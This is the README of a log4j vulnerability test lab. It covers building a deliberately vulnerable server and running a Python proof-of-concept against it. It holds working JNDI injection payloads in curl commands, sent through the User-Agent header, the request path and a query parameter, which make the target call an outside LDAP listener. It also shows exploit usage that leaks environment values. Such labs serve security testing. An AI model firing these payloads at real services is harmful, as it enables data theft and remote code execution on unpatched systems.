log4jpwn

log4j rce test environment

see: https://www.lunasec.io/docs/blog/log4j-zero-day/

using the included python poc

build

Either build the jar on your host with mvn clean compile assembly:single

Or use docker to build an image with docker build -t log4jpwn .

The server will log 3 things (which are also the triggers). You don't have to set all 3:

• The User-Agent header content
• The request path
• The pwn query string parameter

To use:

• Run the container with docker run --rm -p8080:8080 log4jpwn (or the jar if you built on your host with java -jar target/log4jpwn-1.0-SNAPSHOT-jar-with-dependencies.jar)
• Make a curl request with a poisoned User-Agent header with your payload. eg curl -H 'User-Agent: ${jndi:ldap://172.16.182.1:8081/a}' localhost:8080, where 172.16.182.1 is where my netcat lister is running.

A complete example for all 3 bits that gets logged:

curl -v -H 'User-Agent: ${jndi:ldap://192.168.0.1:443/a}' 'localhost:8080/${jndi:ldap://192.168.0.1:443/a}/?pwn=$\{jndi:ldap://192.168.0.1:443/a\}'

run - exploit

The python exploit will leak values. By default it will try ${java:version}, but you can specify anything with the --leak flag.

Usage is:

❯ ./pwn.py --help
usage: pwn.py [-h] --target TARGET [--listen-host LISTEN_HOST] [--listen-port LISTEN_PORT] --exploit-host EXPLOIT_HOST [--leak LEAK]

a simple log4j <=2.14 information disclosure poc (ref: https://twitter.com/Black2Fan/status/1470281005038817284)

optional arguments:
  -h, --help            show this help message and exit
  --target TARGET, -t TARGET
                        target uri
  --listen-host LISTEN_HOST
                        exploit server host to listen on (default: 127.0.0.1)
  --listen-port LISTEN_PORT, -lp LISTEN_PORT
                        exploit server port to listen on (default: 8888)
  --exploit-host EXPLOIT_HOST, -eh EXPLOIT_HOST
                        host where (this) exploit server is reachable
  --leak LEAK, -l LEAK  value to leak. see: https://twitter.com/Rayhan0x01/status/1469571563674505217 (default: ${java:version})

Example runs:

• ./pwn.py --target http://localhost:8080 --exploit-host 127.0.0.1
• ./pwn.py --target http://localhost:8080 --exploit-host 127.0.0.1 --leak '${env:SHELL}'
• ./pwn.py --target http://localhost:8080 --exploit-host 127.0.0.1 --exploit-port 5555